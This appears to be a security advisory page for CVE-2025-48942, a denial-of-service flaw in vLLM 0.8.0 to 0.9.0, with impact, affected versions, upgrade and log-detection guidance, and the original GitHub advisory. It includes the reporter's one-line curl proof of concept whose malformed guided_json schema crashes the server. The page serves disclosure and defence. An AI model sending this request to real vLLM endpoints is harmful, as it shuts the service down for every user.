NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · vLLM

CVE-2025-48942: vLLM DOS: Remotely kill vllm over http with invalid JSON schema

mediumCVSS 3.1 6.5GHSA-6qc9-v4r8-22xg

CVE-2025-48942 lets any API client kill a vLLM server by sending an invalid JSON schema as a guided parameter to /v1/completions. The xgrammar compiler throws an uncaught exception and the engine shuts down. vLLM 0.8.0 up to 0.9.0 is affected; upgrade to 0.9.0.

Published May 28, 2025 · Updated Jun 27, 2025 · Analysis Nov 1, 2026

What an attacker can do

A request to /v1/completions with a guided_json value that is not a valid schema, such as one with a type misspelled as stsring, reaches xgrammar's compile_json_schema in the structured output manager. The compiler fails a check (Schema should be an object or bool) and raises a RuntimeError. Nothing catches it. The engine core logs EngineCore hit an exception, then CRITICAL Got fatal signal from worker processes, shutting down. The whole server stops, so every user loses service until restart.

The attacker needs only a reachable API (the CVSS 3.1 vector lists low privileges, such as a valid API key) and one HTTP request. The reporter's proof of concept is a single curl call. A shared or public-facing vLLM endpoint can be shut down by any user. There is no data exposure or code execution.

The fix is pull request 17623, which handles the failure at request time. The sibling issue CVE-2025-48943 covers the same crash for invalid regex.

Who is affected

The pip package vllm from 0.8.0 up to, but not including, 0.9.0, with the OpenAI-compatible server and structured output (guided decoding) available. Check:

pip show vllm

The trace in the report comes from the v1 engine (vllm/v1/engine/core.py) with the xgrammar backend.

vllm

Ecosystem
PyPI
Affected
>= 0.8.0, < 0.9.0
Fixed in
0.9.0
Check
pip show vllm

How to fix it

Upgrade to vLLM 0.9.0:

pip install --upgrade "vllm>=0.9.0"

The fix is pull request 17623, shared with CVE-2025-48943. The advisory names no workaround. Until you upgrade, restrict the API to trusted callers, reject guided_json from untrusted clients at a gateway, and run the server under a supervisor that restarts it.

How to tell if you were hit

Search vLLM logs for ERROR EngineCore hit an exception, a RuntimeError from xgrammar/compiler.py with the text Schema should be an object or bool, and CRITICAL Got fatal signal from worker processes, shutting down. Match the timestamp with the access log to find the request to /v1/completions with a guided_json field and the client that sent it. Repeated server restarts mean it is being used.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

  • https://github.com/vllm-project/vllm/pull/17623

Credited to derekhiggins, Jason-CKY, russellb.

Questions

Which vLLM version fixes CVE-2025-48942?

0.9.0. Versions 0.8.0 up to 0.9.0 are affected.

What request triggers the crash?

POST /v1/completions with a guided_json value that is an invalid JSON schema, for example a type of stsring. The report includes a one-line curl PoC.

Can it execute code or leak data?

No. The advisory describes a crash and denial of service only.

Is it related to CVE-2025-48943?

Yes. That entry has the same crash with an invalid regex in guided_regex, and both are fixed by pull request 17623.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More vLLM vulnerabilities

All vLLM entries